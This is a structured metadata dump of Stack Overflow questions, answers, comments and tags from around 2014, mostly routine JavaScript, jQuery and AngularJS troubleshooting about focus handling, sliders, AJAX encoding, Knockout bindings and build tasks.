favorite count: 0
tagged with: angularjs
type: UnansweredQuestion
answer count: 0
tagged with: cookies
score: 1
has comment: http://stackoverflow.com/comment/43890867
tagged with: google-chrome

http://stackoverflow.com/q/25560773
tagged with: jquery
has title: Disable convert string when post
tagged with: ajax
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/2438509
has comment: http://stackoverflow.com/comment/39916157
type: Question
tagged with: javascript
has body: How I can disable replacing string from URL when post via AJAX? For example, when $.ajax({ action: '/', method: 'post', data:{ test: '%%23 abc%%' }, success: function(data){ console.log(data); } }); and dump it on server, I see "%# abc%%". How I can resolve this trouble?
has answer: http://stackoverflow.com/a/25560992
has comment: http://stackoverflow.com/comment/39916118
score: 0
answer count: 1

http://stackoverflow.com/a/25701529
has comment: http://stackoverflow.com/comment/40174297
type: Answer
has body: Can you add a name attribute to the tag? If so, you can use document.getElementsByName(). Otherwise, you can get the position of the element on the page relative to elements with the same tag and use document.getElementsByTagName().
downvote count: 1
score: -1
upvote count: 0
answers question: http://stackoverflow.com/q/25701487

http://stackoverflow.com/comment/40109171
score: 2
comment on: http://stackoverflow.com/q/25664783
type: QuestionComment
has text: Do you mean [this](http://jsfiddle.net/6q9hn5Ln/9/)? Update:[http://jsfiddle.net/6q9hn5Ln/10/](http://jsfiddle.net/6q9hn5Ln/10/)
type: Comment

http://stackoverflow.com/comment/40180822
type: Comment
type: QuestionComment
has text: Don't put Angular definitions in a document.ready and don't use jQuery with Angular.
comment on: http://stackoverflow.com/q/25705438
score: 0

http://stackoverflow.com/comment/135634586
comment on: http://stackoverflow.com/a/25646086
score: 2
type: AnswerComment
type: Comment
has text: @J3STER Yes. `AeB` is `A * 10**B`.

http://stackoverflow.com/a/25699956
has comment: http://stackoverflow.com/comment/40171065
score: 0
type: AcceptedAnswer
has body: I hope it may be useful for you.It is running well. Live Working Demo HTML Code: Select Files to Upload JS Code function fileSelect(evt) { if (window.File && window.FileReader && window.FileList && window.Blob) { var files = evt.target.files; var result = ''; var file; for (var i = 0; file = files[i]; i++) { // if the file is not an image, continue if (!file.type.match('image.*')) { continue; } reader = new FileReader(); reader.onload = (function (tFile) { return function (evt) { var div = document.createElement('div'); div.innerHTML = ' '; document.getElementById('filesInfo').appendChild(div); }; }(file)); reader.readAsDataURL(file); } } else { alert('The File APIs are not fully supported in this browser.'); } } document.getElementById('filesToUpload').addEventListener('change', fileSelect, false);
type: Answer
accepted answer of: http://stackoverflow.com/q/25699159
answers question: http://stackoverflow.com/q/25699159

http://stackoverflow.com/q/25611960
has answer: http://stackoverflow.com/a/25612077
accepted answer: http://stackoverflow.com/a/25612077
type: AnsweredQuestion
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/40010418
possible better answer: http://stackoverflow.com/a/25612130
has answer: http://stackoverflow.com/a/25612130
type: Question
has comment: http://stackoverflow.com/comment/40010419
tagged with: javascript
has comment: http://stackoverflow.com/comment/40011138
has answer: http://stackoverflow.com/a/25612019
has title: impossible to give focus to an input
has comment: http://stackoverflow.com/comment/40010362
upvote count: 2
has body: I need your help here, because I'm out of idea I have the following HTML5 code &lt;form&gt; &lt;table class="main"&gt; &lt;tr&gt; &lt;td&gt;Volume&lt;/td&gt; &lt;td&gt;&lt;input type="text" id="Q1" onblur="updateQ(Q1)" autofocus /&gt;&lt;/td&gt; &lt;td&gt;ml&amp;nbsp;&lt;/td&gt; &lt;td&gt;&lt;input type="text" id="Q2" onblur="updateQ(Q2)" /&gt;&lt;/td&gt; &lt;td&gt;ml&amp;nbsp;&lt;/td&gt; &lt;td&gt;&lt;input type="text" id="Qt" onblur="updateQ(Qt)" /&gt;&lt;/td&gt; &lt;td&gt;ml&amp;nbsp;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/form&gt; and the following javascript function function updateQ(ident) { var valeur = ident.value; var inputId = ident.id.toString(); if (isNaN(valeur)) { ident.value = ""; document.getElementById(inputId).focus(); } } When the page is loaded, the first &lt; input > get the focus. I want to check if the user is entering only number, so "onblur" I call the function, which check the content. If it's not a number, I remove the value and I try to give back the focus to the &lt; input > It doesn't work ! Impossible to give back the focus, the second input have it and it never goes back to the first one I don't see any error in the Javascript console, and the rest of the script works nicely. Even giving the real id ("Q1") doesn't work ... However, out of the function, giving the focus to another &lt; input > works nicely Any idea ? Thanks in advance for your help ericc
has comment: http://stackoverflow.com/comment/40010454
answer count: 3
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40010337
favorite count: 0

http://stackoverflow.com/comment/39962264
has text: The other point is that a vertex can move freely in its own part but can not go to the other parts. As I don't know the size of networks will be visualized, i think the only contraint should be the shapes (parts) and the force-by-edges.
type: QuestionComment
comment on: http://stackoverflow.com/q/25585061
score: 0
type: Comment

http://stackoverflow.com/q/25595036
possible better answer: http://stackoverflow.com/a/25682624
has answer: http://stackoverflow.com/a/25682624
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25595058
tagged with: image
has title: Image Slider- Javascript
has body: Anyone have a clue why this code isn't changing my images through 1.fw.png to 5.fw.png? HTML &lt;div id="slideshow"&gt; &lt;img id="slider" src="1.fw.png"&gt; &lt;/div&gt; JavaScript function timer(x){ var timer = setTimeout(function () {switchPic(x);}, 4000); } function switchPic(x){ x += 1; document.getElementById('slider').src = x + ".fw.png"; } $(document).ready()(function(){ document.getElementById('slider').src = x; timer(x); }); A Image Changer with a transition would be a benefit, but just changing the images is the essential requirement.
type: AnsweredQuestion
downvote count: 0
score: 1
tagged with: jquery
favorite count: 0
type: Question
tagged with: slider
has answer: http://stackoverflow.com/a/25595058
answer count: 2
upvote count: 1

http://stackoverflow.com/q/25686545
type: Question
tagged with: browser
has comment: http://stackoverflow.com/comment/40145840
has comment: http://stackoverflow.com/comment/40148241
tagged with: autologin
tagged with: javascript
has comment: http://stackoverflow.com/comment/40146638
score: 0
tagged with: same-origin-policy
has comment: http://stackoverflow.com/comment/40177435
has comment: http://stackoverflow.com/comment/40145441
has title: (Semi-)Automatically logging in to websites
has body: I want to automatically log in to specific websites, e.g. the groupware webinterface at work. My browser (Chrome on Linux, if that matters) saves passwords for me, but I want a complete auto-login, so that I don't even have to click the "login" button anymore. I have investigated multiple ways to approach this, but none of them has turned out to be satisfying: 1. Use a Tampermonkey JavaScript which clicks the "login" button on the website I wrote a custom JavaScript which was supposed to just click the "submit" button once I load the login page. Chrome was supposed to fill in the password fields. The idea sounded pretty straight-forward. However, this is bad for 2 reasons: On the one hand, I cannot use Chrome's saved password. Chrome has a policy that the password field already displays the circles, but the password is not actually filled in and is also not accessible from JavaScript until the user has performed a gesture such as clicking (see this Chromium issue), which kind of defeats the purpose of my JavaScript. I could go around this by saving the password in localStorage additionally (security wouldn't be compromised, as the saved passwords are not encrypted either), but this doesn't feel good. On the other hand, this breaks a (imho) significant security feature of Chrome. It is the same feature mentioned above which prevents XSS attacks from stealing login passwords. Because whenever I load the login page, the password would be filled in and it would log me in. So what I would rather want is a special (if possible local) page which I can bookmark, but which will (probably) never be known to anyone performing an XSS attack on me. 2. Use a local HTML page which loads the login page, fills out the form and logs me in This is a simple idea and would accomplish my goal, but of course it doesn't work because of the same-origin policy. 3. Use a script/program This would theoretically work. I could write a program which downloads the login page, reads the form, submi…
answer count: 0
has comment: http://stackoverflow.com/comment/40146286
type: UnansweredQuestion

http://stackoverflow.com/comment/40116045
has text: It seems to be working fine: http://plnkr.co/edit/4j4bJurfxcMPOkXMHIiT?p=preview
comment on: http://stackoverflow.com/q/25669873
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40219829
type: AnswerComment
comment on: http://stackoverflow.com/a/25693072
type: Comment
has text: This works when you have only one resource at the root level with an empty path. If you have more than one it doesn't work properly.
score: 0

http://stackoverflow.com/a/25583821
accepted answer of: http://stackoverflow.com/q/25583451
has comment: http://stackoverflow.com/comment/39958920
downvote count: 0
has body: my example that should direct you in right direction: I don't have cloud flare access now to test this if it works ok but it should. And also you must note that this only will work one time. When user reloads page counry code will be set back to provided by cloud flare or default. If it should be persistent then you should use session to save that information and read it on subsequent page loads. <?php $allowedCountryCodes = array( 'CA', 'US', 'INTERNATIONAL', ); // load country code based on IP if(empty($_SERVER["HTTP_CF_IPCOUNTRY"]) === true) { // cloud flare do not provided country code, set default $countryCode = 'INTERNATIONAL'; } else { $countryCode = $_SERVER["HTTP_CF_IPCOUNTRY"]; } // set country code based on user input if($_POST && empty($_POST['country_code']) === false && in_array($_POST['country_code'], $allowedCountryCodes)) { $countryCode = $_POST['country_code']; } ?> <?php if ($countryCode == "CA") { $message = "We have set your delivery country to Canada. If this is incorrect, please select your country"; } elseif ($countryCode == "US") { $message = "We have set your delivery country to United States. If this is incorrect, please select your country"; } else { $message = "We have set your shipping charges to International. If this is incorrect, please select your country"; } echo $message ?> Choose location Canada United States International Hide
has comment: http://stackoverflow.com/comment/39965996
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/25583451
score: 1
upvote count: 1

http://stackoverflow.com/a/25627049
type: Answer
has body: Here is a simple fiddle that can be tweaked to suit your needs: jsfiddle.net/2ZzZB/1516/
score: 0
answers question: http://stackoverflow.com/q/25626214

http://stackoverflow.com/comment/40028224
type: Comment
score: 1
comment on: http://stackoverflow.com/a/25621371
has text: @TomSarduy one missed dot it was :( :P nonetheless my relentless effort continues.Now see
type: AnswerComment

http://stackoverflow.com/a/25657945
answers question: http://stackoverflow.com/q/25657548
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25657548
has comment: http://stackoverflow.com/comment/40097688
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40109788
type: Answer
score: 3
has body: Try this: var c = function (e) { e = e || event; // if e is not available, use global event object var target = e.target || e.srcElement; // some browsers use target to refer to event target, and some srcElement alert(target.href); }; I think IE8 uses a global event object, instead of sending parameter in callback function.
upvote count: 3
has comment: http://stackoverflow.com/comment/40095316

http://stackoverflow.com/comment/40172191
score: 0
comment on: http://stackoverflow.com/q/25700072
type: QuestionComment
type: Comment
has text: then, probably it is because you are using two versions of jquery `1.11.1` and `1.11.0` it may produce a conflict. Look at console, are there any error messages? Your navigation code may not work with existing jquery verify that and use only one compatible version of jquery for both your and existing code.

http://stackoverflow.com/q/25564751
has body: I'm using Bootstrap calendar from http://bootstrap-calendar.eivissapp.com/ The problem is that the events are populated on every days event list. I want them to populate on their respective dates. Here is the array thats passed as json string to the view. Array ( [0] => Array ( [id] => 99 [title] => Testing [class] => event-default [url] => /admin/courses/32/lessons/99 [start] => 1408589100 [end] => 1408590900 ) [1] => Array ( [id] => 100 [title] => rereer [class] => event-default [url] => /admin/courses/32/lessons/100 [start] => 1408592760 [end] => 1408599960 ) ) Here is the calendar image: All the events are placed on each date. I need them to be placed on its respective dates. Any suggestions on how to make this work?
score: 1
favorite count: 0
tagged with: twitter-bootstrap
upvote count: 1
tagged with: calendar
type: AnsweredQuestion
has title: Bootstrap calendar plotting events based on dates
has answer: http://stackoverflow.com/a/25816207
type: Question
answer count: 1
downvote count: 0
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25816207

http://stackoverflow.com/comment/40208165
comment on: http://stackoverflow.com/a/25662740
has text: @User014019 ... Finally, using `window.open` method you're able to control when a window opens or if it has been closed; using plain anchor like `go to this link` you'll be able to control when the window opens but you'll not know if it has been closed by the user - you can use cookies or locale storage to (eventually) get more control but it has sense only if the opened window has no third party content (like google.com, yahoo.com etc.)
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/25688047
score: 0
has title: Place checkbox input value into checkbox itself
answer count: 1
tagged with: jquery
has answer: http://stackoverflow.com/a/25688322
type: UnansweredQuestion
has body: I would like to place the value of my checkbox inside of the checkbox itself, instead of being to the side of the checkbox. I think this may give an overall more pleasing visual than simple text next to a checkbox. I'm only able to use jQuery 1.3.2 for this website (SaaS restriction) as well, so just a heads up. Here is the current checkbox layout. I'd like to place the values inside of the checkboxes And this is what I would like for it to look like: So, what I'm wondering, how can I do this, and is it with CSS or JS? Or a combination of both? My current HTML looks like the following: 10 12 12M 14 16 18M 24 24M 2T 3T 4 4T 5 6 6X 7 8 9M One Size
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40148483
tagged with: checkbox
tagged with: css
has comment: http://stackoverflow.com/comment/40148390
has comment: http://stackoverflow.com/comment/40148329
has comment: http://stackoverflow.com/comment/40148201
type: Question
tagged with: javascript

http://stackoverflow.com/comment/39910813
comment on: http://stackoverflow.com/q/25557899
score: 0
type: QuestionComment
type: Comment
has text: and with what function i can compare them?

http://stackoverflow.com/comment/40147408
has text: this is a good approach. I will adapt it and see how it goes. thanks so much
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25687657
type: Comment

http://stackoverflow.com/comment/39981528
comment on: http://stackoverflow.com/q/25596026
has text: I'm pretty sure Google deemed eval unsafe everywhere. I don't think you can override it. What you'll have to do is use an iframe for that content so it can't access any Chrome APIs. Then you'll need to use postMessage to communicate between the iframe and the main part of the extension.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/25695131
accepted answer of: http://stackoverflow.com/q/25695098
answers question: http://stackoverflow.com/q/25695098
has comment: http://stackoverflow.com/comment/40163689
has comment: http://stackoverflow.com/comment/40163715
has comment: http://stackoverflow.com/comment/40163706
type: AcceptedAnswer
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/40163718
upvote count: 2
has body: It doesn't work because new observable arrays are being created. KO binds per observable so the old observable arrays are still bound - the new (unbound) observable arrays have no way to affect the UI. One approach is to empty out the original observable arrays. In this case that can be done with ObservableArray.removeAll: self.Clear = function () { [self.States, self.Counties, self.Zips].forEach(function (arr) { arr.removeAll(); // Alternative, because it updates the observable with an empty array // (without creating a new unbound observable) // arr([]); }); }; Another approach is to use an observable indirection layer and rebind the outer observable. This isn't necessarily called for in this case and the following section is included for completeness. var ViewModel = function () { var listObs = ko.observable(new ListCriteria()); return { listCriteria: listObs, // This probably shouldn't be a computed.. data-bind as "click: reset" reset: function () { // Assign a new value to existing (and bound) observable listObs(new ListCriteria()); } } } And then it could be data-bound as foreach: listCriteria().Counties. The same approach of using an indirection observable could also be done on each array and then it would look like foreach: listCriteria.States(), albeit this is silly in this case considering that it's wrapping an observable array. function ListCriteria() { var self = this; self.States = ko.observable(ko.observableArray([])); self.Clear = function () { // Mutate existing observable, assigning an observable as a value self.States(ko.observableArray([])); }; } However, the solution to the problem is the same in all cases: only use mutations-of observable objects to affect the bound data.
type: Answer

http://stackoverflow.com/comment/39957754
type: QuestionComment
score: 1
has text: Are you looking to display the area associated with each postal code as a shape on the map or do you just want to display a single marker for each postal code, located somewhere within the postal code area?
type: Comment
comment on: http://stackoverflow.com/q/25582982

http://stackoverflow.com/a/25650252
has body: Use g as third parameter to remove all occurance var sval = val.replace('&amp;', '&amp;amp;','g') .replace("&lt;", "&amp;lt;",'g') .replace("&gt;", "&amp;gt;",'g'); // g represents global match Documentation : replace()
downvote count: 0
answers question: http://stackoverflow.com/q/25650234
type: Answer
score: 2
upvote count: 2

http://stackoverflow.com/comment/39974654
score: 0
comment on: http://stackoverflow.com/q/25592071
type: Comment
type: QuestionComment
has text: ok, see it, the response headers are: Connection: keep-alive, Content-Encoding: gzip Content-Type: text/html, Date: Sun, 31 Aug 2014 13:12:55 GMT, Last-Modified: Mon, 18 Aug 2014 19:22:38 GMT, Server: nginx/1.6.1, Transfer-Encoding: chunked. So there is no header that we are looking for. How can I add it?

jquery-selectors
tags question: http://stackoverflow.com/q/25678612
type: Tag
tags question: http://stackoverflow.com/q/25575835
tags question: http://stackoverflow.com/q/25671988
tags question: http://stackoverflow.com/q/25570258
tags question: http://stackoverflow.com/q/25694029
tags question: http://stackoverflow.com/q/25700453
tags question: http://stackoverflow.com/q/25599067
tags question: http://stackoverflow.com/q/25613193
tag name: jquery-selectors
tags question: http://stackoverflow.com/q/25697296
tags question: http://stackoverflow.com/q/25665643
tags question: http://stackoverflow.com/q/25633292

sequelize.js
tags question: http://stackoverflow.com/q/25690269
type: Tag
tag name: sequelize.js
tags question: http://stackoverflow.com/q/25571830
tags question: http://stackoverflow.com/q/25565212
tags question: http://stackoverflow.com/q/25581904
tags question: http://stackoverflow.com/q/25565731

http://stackoverflow.com/comment/40072477
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25632584
type: AnswerComment
has text: Each node calls the function. When one node call it, another node may be overlapping. The same for edges, and there will be a lot of edges. I think that if I remove everything and recalculate everything, it will be noticeable to the user that is interacting with the network while force is running. Am I wrong?

http://stackoverflow.com/a/25685887
has body: Use .attr() instead of .prop() for jquery 1.5 and below versions: $('.checkboxItem8select').attr('checked',$(".selectallItem8CheckBox").attr("checked"));
accepted answer of: http://stackoverflow.com/q/25685843
answers question: http://stackoverflow.com/q/25685843
type: AcceptedAnswer
score: 0
type: Answer

http://stackoverflow.com/a/25705208
type: Answer
accepted answer of: http://stackoverflow.com/q/25584565
has body: I am using com.koushikdutta.async.http.socketio.SocketIOClient there is some problems with this library and socket.io but it it's solved by using this dependency on node-webkit "socket.io": "~0.9", also need to read file->base64 codification-> then emit the string on the server side must do this: socket.on('finishFileTransfer',function(){ fs.writeFile("music/"+fileName,new Buffer(file,'base64'), function(err){ if(err){ console.log('File could not be saved.'); }else{ console.log('File saved.'); addSong("musica/"+fileName); } file = ""; fileName = null; }); });
answers question: http://stackoverflow.com/q/25584565
type: AcceptedAnswer
score: 0

http://stackoverflow.com/q/25573428
tagged with: gruntjs
has answer: http://stackoverflow.com/a/25573480
upvote count: 1
answer count: 1
favorite count: 0
type: AnsweredQuestion
downvote count: 0
tagged with: npm
score: 1
has title: Grunt watch task not working
type: Question
accepted answer: http://stackoverflow.com/a/25573480
has body: I am new to Grunt and am having trouble with the watch feature. I only have a couple tasks, both of which work fine when I put them into the CLI directly. Watch, however, doesn't. Any issues with this Gruntfile? module.exports = function(grunt) { grunt.initConfig({ pkg: grunt.file.readJSON('package.json'), watch: { files: '&lt;%= uglify.build.src %&gt;', tasks: 'uglify', }, uglify: { build: { src: ['wp-content/themes/custom/js/live/*.js', 'wp-content/themes/custom/js/waypoints/*.js', 'wp-content/themes/custom/js/*.js'], dest: 'wp-content/themes/custom/js/test.js' } }, jshint: { src: ['Gruntfile.js', 'wp-content/themes/custom/js/*.js'], options: { curly: true, eqeqeq: true, immed: true, latedef: true, newcap: true, noarg: true, sub: true, undef: true, boss: true, eqnull: true, browser: true, globals: { require: true, define: true, requirejs: true, describe: true, expect: true, it: true } } } }); // Load tasks grunt.loadNpmTasks('grunt-contrib-uglify'); grunt.loadNpmTasks('grunt-contrib-jshint'); grunt.loadNpmTasks('grunt-contrib-watch'); // Default task grunt.registerTask('default', 'uglify'); };
tagged with: javascript

http://stackoverflow.com/q/25640796
has comment: http://stackoverflow.com/comment/40063602
possible better answer: http://stackoverflow.com/a/25641321
has comment: http://stackoverflow.com/comment/40063218
accepted answer: http://stackoverflow.com/a/25641341
has comment: http://stackoverflow.com/comment/40062870
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25641321
has comment: http://stackoverflow.com/comment/40063016
has comment: http://stackoverflow.com/comment/40062978
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/40062993
upvote count: 0
has title: Getting inner HTML from different ids
has body: I'm just now starting to try to learn Javascript, so bear with me. I'm trying to get information from a list on one part of my page to a new section with three places at the click of a button. Each item in the list has its own button, and I need my script to know which place to put the list item based on the number of times the button has been clicked (which should coincide with how many list items have already been added to the list). I've tried created a script to increase i and take the id of the paragraph into a function, but I can't seem to make it work. I'm hoping that by "counting" the number of times the button has been clicked, it will put each new list item that has been added in the next place in the new section. I'm not sure how to make the counting part work, though, and it has just occurred to me that maybe the first part of my function constantly remains at zero. I would really appreciate any help that I can get with this. Thanks in advance! Here's my code: This is a paragraph. This is another paragraph. This is another paragraph. Royal Oak Add To Dilly Ferndale Add To Dilly Chesterfield Add To Dilly
tagged with: javascript
score: -1
answer count: 2
tagged with: http://stackoverflow.com/tag/html
favorite count: 0
has comment: http://stackoverflow.com/comment/40063684
has comment: http://stackoverflow.com/comment/40063302
has comment: http://stackoverflow.com/comment/40063972
has answer: http://stackoverflow.com/a/25641341
has comment: http://stackoverflow.com/comment/40064134

http://stackoverflow.com/comment/40087262
type: QuestionComment
comment on: http://stackoverflow.com/q/25653915
score: 0
has text: `ng-init` on `tabset`? `ng-repeat` and `ng-inclue` has its own scope.
type: Comment

http://stackoverflow.com/comment/40010132
comment on: http://stackoverflow.com/a/25611558
score: 0
type: Comment
has text: would you consider writing it in javascript?
type: AnswerComment

http://stackoverflow.com/q/25587762
upvote count: 50
has comment: http://stackoverflow.com/comment/39966233
tagged with: javascript
tagged with: click
favorite count: 0
has comment: http://stackoverflow.com/comment/113331866
has comment: http://stackoverflow.com/comment/39966218
has body: So I am writing a script that can be run on a page but I want to click on this element, unfortunately, it does not have an id to get and I am trying to use the .click() function on it, but it doesn't work, here's what I have, anyone know how to fix it? This is the only element in the class also var classes = document.getElementsByClassName('rateRecipe btns-one-small'); var Rate = classes[0]; Rate.click();
answer count: 4
has answer: http://stackoverflow.com/a/25587781
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/51207608
has answer: http://stackoverflow.com/a/51207608
has answer: http://stackoverflow.com/a/51470788
downvote count: 1
type: Question
score: 49
has comment: http://stackoverflow.com/comment/39966857
accepted answer: http://stackoverflow.com/a/25587781
has title: Javascript Click on Element by Class
has answer: http://stackoverflow.com/a/69765322

http://stackoverflow.com/comment/40095293
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25654505
has text: You are aware that you will then run into the Same Origin Policy of AJAX? That is, unless you use CORS to mend that. And if you have to use CORS, you can get the cookies as well: http://stackoverflow.com/questions/8863571/cors-request-why-are-the-cookies-not-sent

http://stackoverflow.com/a/25807084
answers question: http://stackoverflow.com/q/25628746
score: 0
has body: Okay, first off, You're forgetting to close the lines in the cycle function So instead of: $(function(){ $("#last_news ul").cycle({ fx:'fade', speed: 1500, timeout: 5000, pager: '#pager', }) }) You'll need: $(function(){ $("#last_news ul").cycle({ fx:'fade', speed: 1500, timeout: 5000, pager: '#pager', }); //&lt;-- Added semi-colons ( ; ) here, }); //&lt;-- and here. Also, best-practices wise, I'd recommend that you place all your custom js functions in a custom.js file, and run them from there. Just make sure to include it in your header. IE is kind of strict on best practises. Please look at the documentation on those plugins for more info, too. Thanks
type: Answer

http://stackoverflow.com/a/25633003
type: Answer
has body: $('.active-slide') is using jQuery's element selector. (add|remove)Class('active-slide'); is modifying the element.
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25632974
upvote count: 1

http://stackoverflow.com/a/25681177
downvote count: 0
has body: the answer is: I can't. passing one argument to the if statement the console shows Uncaught Error: Assertion Failed: You must pass exactly one argument to the if helper it would be a nice feature to have, thought EDIT I have arranged my needs with this lines of code. Ember.ObjectController.extend({ actions : { selectItem : function(table,item){ this.store.find(table,item.id).then(function(obj){ obj.set('selected',!obj.get('selected')); console.log(obj.get('selected')); obj.save(); }); }, selectAll : function(table){ this.store.find(table).then(function(obj){ obj.forEach(function(obj){ obj.set('selected',true); obj.save(); }); }); } } }); and my handlebar (a portion of it) {{#each obj in model.objs}} &lt;dd {{bind-attr class="obj.selected:active"}}&gt;&lt;a {{action "selectItem" 'filter' obj}}&gt;{{obj.name}}&lt;/a&gt;&lt;/dd&gt; {{/each}}
answers question: http://stackoverflow.com/q/25661620
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/comment/40087356
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25654047
has text: The one on the outside, I'd like `alertFoo` to be hoisted
score: 0

http://stackoverflow.com/a/25681445
type: Answer
has body: With angularjs you usually don't compile and add elements to the DOM. You should declare your form in your template and bind ng-show to a property on the scope to show/hide your form. Click Me
has comment: http://stackoverflow.com/comment/40136450
accepted answer of: http://stackoverflow.com/q/25681296
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25681296
score: 0

fullcalendar
tags question: http://stackoverflow.com/q/25658175
tags question: http://stackoverflow.com/q/25596346
tags question: http://stackoverflow.com/q/25658094
tags question: http://stackoverflow.com/q/25601650
tag name: fullcalendar
tags question: http://stackoverflow.com/q/25648346
tags question: http://stackoverflow.com/q/25679828
tags question: http://stackoverflow.com/q/25676054
tags question: http://stackoverflow.com/q/25629793
type: Tag
tags question: http://stackoverflow.com/q/25681573

http://stackoverflow.com/comment/40160362
type: AnswerComment
type: Comment
has text: data for chart is in selectedSeries not in chartoptions. it didn't work becasue as i told you i am precompiling template (this what you have in html on jsfidle) and then include it as js file. If chartoptions would be null then it would not work in situation with manual data in my question. It's the main thing, as you can see with manually entered data all works fine as i showed in my question.
comment on: http://stackoverflow.com/a/25692955
score: 0

http://stackoverflow.com/a/25711790
has comment: http://stackoverflow.com/comment/40193392
accepted answer of: http://stackoverflow.com/q/25711565
has comment: http://stackoverflow.com/comment/40194795
answers question: http://stackoverflow.com/q/25711565
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40193759
has comment: http://stackoverflow.com/comment/40193604
has comment: http://stackoverflow.com/comment/40193719
has comment: http://stackoverflow.com/comment/40194669
has comment: http://stackoverflow.com/comment/40193940
type: Answer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40193500
has body: is it possible to workaround such scope behavior? No. Scopes are inaccessible from outside, and they are necessarily lost on serialisation of a function. You can only stringify "pure" functions like body that do not reference any free variables. That's also the reason why the JSON format does not include functions. The main idea is to somehow inject module number one as variable inside second module saving the original scope of methods that are returned. Inject the reference, not a string. Dependency injection is no magic, all kinds of module loaders for JavaScript do it.

http://stackoverflow.com/comment/83460176
type: QuestionComment
has text: would be cool if you could share what solution you came up with
score: 0
comment on: http://stackoverflow.com/q/25555216
type: Comment

http://stackoverflow.com/comment/40084669
has text: view the page source....
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25652713

http://stackoverflow.com/comment/40112879
comment on: http://stackoverflow.com/q/25668395
score: 0
type: QuestionComment
has text: It is possible by using AJAX. Not by normal form POST.
type: Comment

http://stackoverflow.com/q/25708423
tagged with: forms
has body: Currently I'm developing an application for my wife to use, due to she is not a computer savvy, I tried to make things easier for her to work out and easier for me to detect any error in future. So I found a slug generator based on jquery that can automatic transfer the input box with id labeled to the slug box. I believe this is most useful for me as my wife can skipped the option on slug and instead of entering non related slug. So here is the javascript: (function ($) { // DONT FORGET TO NAME YOUR PLUGIN jQuery.fn.makeSlug = function (options, i) { if (this.length > 1) { var a = new Array(); this.each( function (i) { a.push($(this).makeSlug(options, i)); }); return a; } var opts = $.extend({}, $().makeSlug.defaults, options); /* PUBLIC FUNCTIONS */ this.destroy = function (reInit) { var container = this; var reInit = (reInit != undefined) ? reInit : false; $(container).removeData('makeSlug'); // this removes the flag so we can re-initialize }; this.update = function (options) { opts = null; opts = $.extend({}, $().makeSlug.defaults, options); this.destroy(true); return this.init(); }; this.init = function (iteration) { if ($(container).data('makeSlug') == true) return this; // this stops double initialization // call a function before you do anything if (opts.beforeCreateFunction != null && $.isFunction(opts.beforeCreateFunction)) opts.beforeCreateFunction(targetSection, opts); var container = this; // reference to the object you're manipulating. To jquery it, use $(container). $(container).keyup(function(){ if(opts.slug !== null) opts.slug.val(makeSlug($(this).val())); }); $(container).data('makeSlug', true); // call a function after you've initialized your plugin if (opts.afterCreateFunction != null && $.isFunction(opts.afterCreateFunction)) opts.afterCreateFunction(targetSection, opts); return this; }; /* PRIVATE FUNCTIONS */ function makeSlug(str) { str = str.replace(/^\s+|\s+$/g, ''); // trim str = str.toLowerCase(); // remove accents, swap ñ for n, etc var …
type: Question
has comment: http://stackoverflow.com/comment/40186118
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40186268
has comment: http://stackoverflow.com/comment/40186097
score: 0
accepted answer: http://stackoverflow.com/a/25708568
has comment: http://stackoverflow.com/comment/40186593
answer count: 1
has comment: http://stackoverflow.com/comment/40186044
tagged with: slug
has comment: http://stackoverflow.com/comment/40186203
type: AnsweredQuestion
has title: How to combine both id in javascript
has answer: http://stackoverflow.com/a/25708568

http://stackoverflow.com/comment/40036301
comment on: http://stackoverflow.com/a/25615477
has text: yes you need to add that...and try adding a console.log on the server and see if your end point gets hit
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25626231
type: Question
tagged with: javascript
tagged with: easeljs
tagged with: createjs
answer count: 1
has body: I have 5 light bulbs that I want to turn on and off by using a tween. The light bulbs are positioned in a row and I want that in the first 3 seconds the light bulbs go on and off one after another till the fith one and then go back to the first one. After this the tween should become slower andit should stop at a random bulb turning this one on. How can I make this. Here is what I have done so far: function start_lights(start_lights, bulbs, iterator, speed) { var myimage = bulbs[iterator]; if (iterator &lt; bulbs.length - 1) { iterator++; speed += 10; } if(iterator == out_pilles.length-1) { iterator = 0; out_pilles.reverse(); } createjs.Tween.get(myimage) .wait(0) .to({ alpha: 0 }, speed) .to({ alpha: 1 }, speed) .call(start_lights, [start_lights, bulbs, iterator, speed]); }
type: UnansweredQuestion
has title: Using tween to turn systematically lights on and off
score: 0
has answer: http://stackoverflow.com/a/25626544
tagged with: tween

http://stackoverflow.com/comment/39974787
has text: Why on earth do you `echo` such gargantuan chunk of HTML?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25592411

http://stackoverflow.com/comment/39966148
type: QuestionComment
comment on: http://stackoverflow.com/q/25587621
has text: @Tallboy The server/application should be responding with [`Content-Type: application/json`](http://stackoverflow.com/questions/477816/what-is-the-correct-json-content-type) or at least similar for JSON. (Unless it's [JSON-P](http://json-p.org/).)
score: 0
type: Comment

charts
tags question: http://stackoverflow.com/q/25640875
